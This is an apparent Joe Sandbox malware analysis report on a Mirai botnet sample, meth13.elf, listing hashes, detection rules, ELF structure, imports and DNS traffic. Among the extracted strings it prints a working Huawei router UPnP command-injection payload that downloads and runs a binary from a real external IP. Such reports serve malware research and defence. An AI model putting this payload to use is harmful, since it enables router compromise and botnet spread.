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Linux Analysis Report
meth13.elf

Overview

General Information

Sample name:meth13.elf
Analysis ID:1590741
MD5:1dd642865eed3af2c1e469b573081dba
SHA1:5115871ccf79a08a693d3213598a1063c19502a1
SHA256:3801e88932ccac8d6309e2c925294e9faedbe475d482554dc3fe0e845486dc72
Tags:elfuser-abuse_ch
Infos:
Errors
  • No process behavior to analyse as no analysis process or sample was found

Detection

Mirai
Score:80
Range:0 - 100
Whitelisted:false

Signatures

Antivirus / Scanner detection for submitted sample
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected Mirai
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Yara signature match

Classification

Joe Sandbox version:42.0.0 Malachite
Analysis ID:1590741
Start date and time:2025-01-14 14:48:10 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 10m 16s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:meth13.elf
Detection:MAL
Classification:mal80.troj.linELF@0/0@2/0
Cookbook Comments:
  • Analysis time extended to 480s due to sleep detection in submitted sample
  • No process behavior to analyse as no analysis process or sample was found
Command:/tmp/meth13.elf
PID:5486
Exit Code:255
Exit Code Info:
Killed:False
Standard Output:

Standard Error:
NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
SourceRuleDescriptionAuthorStrings
meth13.elfJoeSecurity_Mirai_9Yara detected MiraiJoe Security
    meth13.elfJoeSecurity_Mirai_6Yara detected MiraiJoe Security
      meth13.elfLinux_Trojan_Mirai_0bce98a2unknownunknown
      • 0xc154:$a: 4B 52 41 00 46 47 44 43 57 4E 56 00 48 57 43 4C 56 47 41 4A
      meth13.elfMirai_Botnet_MalwareDetects Mirai Botnet MalwareFlorian Roth
      • 0xc0f8:$x2: /dev/misc/watchdog
      • 0xc0a8:$x3: /dev/watchdog
      • 0xc0e8:$x3: /dev/watchdog
      • 0xc160:$s5: HWCLVGAJ
      No Suricata rule has matched

      Click to jump to signature section

      Show All Signature Results

      AV Detection

      barindex
      Source: meth13.elfAvira: detected
      Source: meth13.elfVirustotal: Detection: 42%Perma Link
      Source: meth13.elfReversingLabs: Detection: 47%
      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
      Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com
      Source: meth13.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
      Source: meth13.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

      System Summary

      barindex
      Source: meth13.elf, type: SAMPLEMatched rule: Linux_Trojan_Mirai_0bce98a2 Author: unknown
      Source: meth13.elf, type: SAMPLEMatched rule: Detects Mirai Botnet Malware Author: Florian Roth
      Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.233.193.12 -l /tmp/.oxy -r /yeye/yeye.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: Initial sampleString containing 'busybox' found: ~<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.233.193.12 -l /tmp/.oxy -r /yeye/yeye.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
      Source: ELF static info symbol of initial sample.symtab present: no
      Source: meth13.elf, type: SAMPLEMatched rule: Linux_Trojan_Mirai_0bce98a2 reference_sample = 1b20df8df7f84ad29d81ccbe276f49a6488c2214077b13da858656c027531c80, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 993d0d2e24152d0fb72cc5d5add395bed26671c3935f73386341398b91cb0e6e, id = 0bce98a2-113e-41e1-95c9-9e1852b26142, last_modified = 2021-09-16
      Source: meth13.elf, type: SAMPLEMatched rule: Mirai_Botnet_Malware date = 2016-10-04, hash5 = 420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175, hash4 = 2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69, hash3 = 20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4, hash2 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, hash1 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, author = Florian Roth, description = Detects Mirai Botnet Malware, hash10 = c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f, hash11 = d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89, hash12 = f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5, hash9 = bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4, hash8 = 89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147, hash7 = 70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0, hash6 = 62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, hash13 = fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b
      Source: classification engineClassification label: mal80.troj.linELF@0/0@2/0

      Stealing of Sensitive Information

      barindex
      Source: Yara matchFile source: meth13.elf, type: SAMPLE

      Remote Access Functionality

      barindex
      Source: Yara matchFile source: meth13.elf, type: SAMPLE
      ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
      Gather Victim Identity InformationAcquire InfrastructureValid AccountsWindows Management InstrumentationPath InterceptionPath InterceptionDirect Volume AccessOS Credential DumpingSystem Service DiscoveryRemote ServicesData from Local System1
      Non-Application Layer Protocol
      Exfiltration Over Other Network MediumAbuse Accessibility Features
      CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
      Application Layer Protocol
      Exfiltration Over BluetoothNetwork Denial of Service
      No configs have been found

      This section contains all screenshots as thumbnails, including those not shown in the slideshow.


      windows-stand
      SourceDetectionScannerLabelLink
      meth13.elf43%VirustotalBrowse
      meth13.elf47%ReversingLabsLinux.Trojan.Mirai
      meth13.elf100%AviraEXP/ELF.Gafgyt.X
      No Antivirus matches
      No Antivirus matches
      No Antivirus matches
      NameIPActiveMaliciousAntivirus DetectionReputation
      daisy.ubuntu.com
      162.213.35.25
      truefalse
        high
        NameSourceMaliciousAntivirus DetectionReputation
        http://schemas.xmlsoap.org/soap/encoding/meth13.elffalse
          high
          http://schemas.xmlsoap.org/soap/envelope/meth13.elffalse
            high
            No contacted IP infos
            No context
            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
            daisy.ubuntu.coma-r.m-5.Sakura.elfGet hashmaliciousGafgyt, MiraiBrowse
            • 162.213.35.24
            meth11.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.24
            x-8.6-.Sakura.elfGet hashmaliciousGafgyt, MiraiBrowse
            • 162.213.35.24
            arc.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.24
            rebirth.mips.elfGet hashmaliciousGafgytBrowse
            • 162.213.35.25
            rebirth.m68.elfGet hashmaliciousGafgytBrowse
            • 162.213.35.25
            a-r.m-7.Sakura.elfGet hashmaliciousGafgyt, MiraiBrowse
            • 162.213.35.24
            rebirth.x86.elfGet hashmaliciousGafgytBrowse
            • 162.213.35.24
            rebirth.arm4t.elfGet hashmaliciousGafgytBrowse
            • 162.213.35.24
            m-6.8-k.Sakura.elfGet hashmaliciousGafgyt, MiraiBrowse
            • 162.213.35.25
            No context
            No context
            No context
            No created / dropped files found
            File type:ELF 32-bit LSB executable, Synopsys ARCompact ARC700 cores, version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, for GNU/Linux 4.8.0, stripped
            Entropy (8bit):5.926506406567465
            TrID:
            • ELF Executable and Linkable format (generic) (4004/1) 100.00%
            File name:meth13.elf
            File size:58'880 bytes
            MD5:1dd642865eed3af2c1e469b573081dba
            SHA1:5115871ccf79a08a693d3213598a1063c19502a1
            SHA256:3801e88932ccac8d6309e2c925294e9faedbe475d482554dc3fe0e845486dc72
            SHA512:d675fa6815e7ddd129be9dd5faecf477c26ca2d5f64dbde9377b80ef921fdfe56bd590539352681399b3b5419e8d94a63c9264dde8400ad0e099dd8668095628
            SSDEEP:768:EUFAgsBhMhlaZssNZ0stfcm3+aNGcH7otQJBhtSWwP/1wEE0nL:ta8iss/0OfF+aNGc9jhtyP/1Ldn
            TLSH:91431AB91555F2ACE9F55078F40320E92D920B2C3ADEE2C3A083647AFF74B0C7556D66
            File Content Preview:.ELF..............].........4...........4. ...(.........4...4...4.......................4...4...4................................................ ......D...D...D...0............ ......T...T...T.......................H...H...H... ... ...........Q.td.......

            ELF header

            Class:ELF32
            Data:2's complement, little endian
            Version:1 (current)
            Machine:<unknown>
            Version Number:0x1
            Type:EXEC (Executable file)
            OS/ABI:UNIX - System V
            ABI Version:0
            Entry Point Address:0x10e1c
            Flags:0x403
            ELF Header Size:52
            Program Header Offset:52
            Program Header Size:32
            Number of Program Headers:8
            Section Header Offset:58000
            Section Header Size:40
            Number of Section Headers:22
            Header String Table Index:21
            NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
            NULL0x00x00x00x00x0000
            .interpPROGBITS0x101340x1340x140x00x2A001
            .note.ABI-tagNOTE0x101480x1480x200x00x2A004
            .hashHASH0x101680x1680x1900x40x2A404
            .dynsymDYNSYM0x102f80x2f80x3d00x100x2A514
            .dynstrSTRTAB0x106c80x6c80x1be0x00x2A001
            .rela.pltRELA0x108880x8880x2ac0xc0x42AI4164
            .initPROGBITS0x10b340xb340x220x00x6AX001
            .pltPROGBITS0x10b580xb580x2c40x00x6AX004
            .textPROGBITS0x10e1c0xe1c0xaf200x00x6AX004
            .finiPROGBITS0x1bd3c0xbd3c0x160x00x6AX001
            .rodataPROGBITS0x1bd540xbd540x62c0x00x2A004
            .eh_framePROGBITS0x1c3800xc3800x40x00x2A004
            .ctorsPROGBITS0x1ff440xdf440x80x00x3WA004
            .dtorsPROGBITS0x1ff4c0xdf4c0x80x00x3WA004
            .dynamicDYNAMIC0x1ff540xdf540xa80x80x3WA504
            .got.pltPROGBITS0x1fffc0xdffc0xf00x00x3WA004
            .dataPROGBITS0x200ec0xe0ec0x880x00x3WA004
            .bssNOBITS0x201740xe1740x118c0x00x3WA004
            .commentPROGBITS0x00xe1740x430x10x30MS001
            .ARC.attributes<unknown>0x00xe1b70x300x00x0001
            .shstrtabSTRTAB0x00xe1e70xa90x00x0001
            TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
            PHDR0x340x100340x100340x1000x1002.44650x5R E0x4
            INTERP0x1340x101340x101340x140x143.68420x4R 0x1/lib/ld-uClibc.so.0.interp
            LOAD0x00x100000x100000xc3840xc3846.42280x5R E0x2000.interp .note.ABI-tag .hash .dynsym .dynstr .rela.plt .init .plt .text .fini .rodata .eh_frame
            LOAD0xdf440x1ff440x1ff440x2300x13bc3.66840x6RW 0x2000.ctors .dtors .dynamic .got.plt .data .bss
            DYNAMIC0xdf540x1ff540x1ff540xa80xa82.07480x6RW 0x4.dynamic
            NOTE0x1480x101480x101480x200x201.49880x4R 0x4.note.ABI-tag
            GNU_STACK0x00x00x00x00x00.00000x6RW 0x10
            GNU_RELRO0xdf440x1ff440x1ff440xbc0xbc2.22170x4R 0x1.ctors .dtors .dynamic
            TypeMetaValueTag
            DT_NEEDEDsharedliblibc.so.00x1
            DT_INITvalue0x10b380xc
            DT_FINIvalue0x1bd400xd
            DT_HASHvalue0x101680x4
            DT_STRTABvalue0x106c80x5
            DT_SYMTABvalue0x102f80x6
            DT_STRSZbytes4460xa
            DT_SYMENTbytes160xb
            DT_INITvalue0x10b380xc
            DT_FINIvalue0x1bd400xd
            DT_DEBUGvalue0x00x15
            DT_PLTGOTvalue0x10b580x3
            DT_PLTRELSZbytes6840x2
            DT_PLTRELpltrelDT_RELA0x14
            DT_JMPRELvalue0x108880x17
            DT_NULLvalue0x00x0
            NameVersion Info NameVersion Info File NameSection NameValueSizeSymbol TypeSymbol BindSymbol VisibilityNdx
            .dynsym0x00NOTYPE<unknown>DEFAULTSHN_UNDEF
            __bss_start.dynsym0x201740NOTYPE<unknown>DEFAULT18
            __errno_location.dynsym0x10d8c0FUNC<unknown>DEFAULTSHN_UNDEF
            __uClibc_main.dynsym0x10d200FUNC<unknown>DEFAULTSHN_UNDEF
            _edata.dynsym0x201740NOTYPE<unknown>DEFAULT17
            _end.dynsym0x213000NOTYPE<unknown>DEFAULT18
            accept.dynsym0x10c540FUNC<unknown>DEFAULTSHN_UNDEF
            atoi.dynsym0x10da40FUNC<unknown>DEFAULTSHN_UNDEF
            bind.dynsym0x10c840FUNC<unknown>DEFAULTSHN_UNDEF
            calloc.dynsym0x10c600FUNC<unknown>DEFAULTSHN_UNDEF
            chdir.dynsym0x10ca80FUNC<unknown>DEFAULTSHN_UNDEF
            clock.dynsym0x10dbc0FUNC<unknown>DEFAULTSHN_UNDEF
            close.dynsym0x10dec0FUNC<unknown>DEFAULTSHN_UNDEF
            closedir.dynsym0x10dd40FUNC<unknown>DEFAULTSHN_UNDEF
            connect.dynsym0x10b880FUNC<unknown>DEFAULTSHN_UNDEF
            exit.dynsym0x10d980FUNC<unknown>DEFAULTSHN_UNDEF
            fcntl.dynsym0x10de00FUNC<unknown>DEFAULTSHN_UNDEF
            fork.dynsym0x10d140FUNC<unknown>DEFAULTSHN_UNDEF
            free.dynsym0x10df80FUNC<unknown>DEFAULTSHN_UNDEF
            getpid.dynsym0x10bb80FUNC<unknown>DEFAULTSHN_UNDEF
            getppid.dynsym0x10d500FUNC<unknown>DEFAULTSHN_UNDEF
            getsockname.dynsym0x10e100FUNC<unknown>DEFAULTSHN_UNDEF
            getsockopt.dynsym0x10d740FUNC<unknown>DEFAULTSHN_UNDEF
            htonl.dynsym0x10ce40FUNC<unknown>DEFAULTSHN_UNDEF
            htons.dynsym0x10d800FUNC<unknown>DEFAULTSHN_UNDEF
            inet_addr.dynsym0x10c900FUNC<unknown>DEFAULTSHN_UNDEF
            ioctl.dynsym0x10b700FUNC<unknown>DEFAULTSHN_UNDEF
            kill.dynsym0x10c780FUNC<unknown>DEFAULTSHN_UNDEF
            listen.dynsym0x10d080FUNC<unknown>DEFAULTSHN_UNDEF
            lseek.dynsym0x10c300FUNC<unknown>DEFAULTSHN_UNDEF
            malloc.dynsym0x10be80FUNC<unknown>DEFAULTSHN_UNDEF
            memmove.dynsym0x10ba00FUNC<unknown>DEFAULTSHN_UNDEF
            memset.dynsym0x10d2c0FUNC<unknown>DEFAULTSHN_UNDEF
            ntohl.dynsym0x10c9c0FUNC<unknown>DEFAULTSHN_UNDEF
            ntohs.dynsym0x10d440FUNC<unknown>DEFAULTSHN_UNDEF
            open.dynsym0x10db00FUNC<unknown>DEFAULTSHN_UNDEF
            opendir.dynsym0x10d680FUNC<unknown>DEFAULTSHN_UNDEF
            prctl.dynsym0x10bc40FUNC<unknown>DEFAULTSHN_UNDEF
            rand.dynsym0x10cc00FUNC<unknown>DEFAULTSHN_UNDEF
            read.dynsym0x10cd80FUNC<unknown>DEFAULTSHN_UNDEF
            readdir.dynsym0x10c240FUNC<unknown>DEFAULTSHN_UNDEF
            readlink.dynsym0x10bd00FUNC<unknown>DEFAULTSHN_UNDEF
            realloc.dynsym0x10cfc0FUNC<unknown>DEFAULTSHN_UNDEF
            recv.dynsym0x10b7c0FUNC<unknown>DEFAULTSHN_UNDEF
            recvfrom.dynsym0x10c000FUNC<unknown>DEFAULTSHN_UNDEF
            rewinddir.dynsym0x10bdc0FUNC<unknown>DEFAULTSHN_UNDEF
            select.dynsym0x10c180FUNC<unknown>DEFAULTSHN_UNDEF
            send.dynsym0x10c480FUNC<unknown>DEFAULTSHN_UNDEF
            sendto.dynsym0x10cf00FUNC<unknown>DEFAULTSHN_UNDEF
            setsid.dynsym0x10dc80FUNC<unknown>DEFAULTSHN_UNDEF
            setsockopt.dynsym0x10cb40FUNC<unknown>DEFAULTSHN_UNDEF
            sigaddset.dynsym0x10c3c0FUNC<unknown>DEFAULTSHN_UNDEF
            sigemptyset.dynsym0x10b940FUNC<unknown>DEFAULTSHN_UNDEF
            signal.dynsym0x10ccc0FUNC<unknown>DEFAULTSHN_UNDEF
            sigprocmask.dynsym0x10e040FUNC<unknown>DEFAULTSHN_UNDEF
            sleep.dynsym0x10bf40FUNC<unknown>DEFAULTSHN_UNDEF
            socket.dynsym0x10c0c0FUNC<unknown>DEFAULTSHN_UNDEF
            srand.dynsym0x10d380FUNC<unknown>DEFAULTSHN_UNDEF
            time.dynsym0x10d5c0FUNC<unknown>DEFAULTSHN_UNDEF
            usleep.dynsym0x10bac0FUNC<unknown>DEFAULTSHN_UNDEF
            write.dynsym0x10c6c0FUNC<unknown>DEFAULTSHN_UNDEF
            TimestampSource PortDest PortSource IPDest IP
            Jan 14, 2025 14:51:38.068037987 CET5299053192.168.2.141.1.1.1
            Jan 14, 2025 14:51:38.068092108 CET4408553192.168.2.141.1.1.1
            Jan 14, 2025 14:51:38.074973106 CET53440851.1.1.1192.168.2.14
            Jan 14, 2025 14:51:38.074990034 CET53529901.1.1.1192.168.2.14
            TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
            Jan 14, 2025 14:51:38.068037987 CET192.168.2.141.1.1.10x68f3Standard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
            Jan 14, 2025 14:51:38.068092108 CET192.168.2.141.1.1.10x7574Standard query (0)daisy.ubuntu.com28IN (0x0001)false
            TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
            Jan 14, 2025 14:51:38.074990034 CET1.1.1.1192.168.2.140x68f3No error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false
            Jan 14, 2025 14:51:38.074990034 CET1.1.1.1192.168.2.140x68f3No error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false

            System Behavior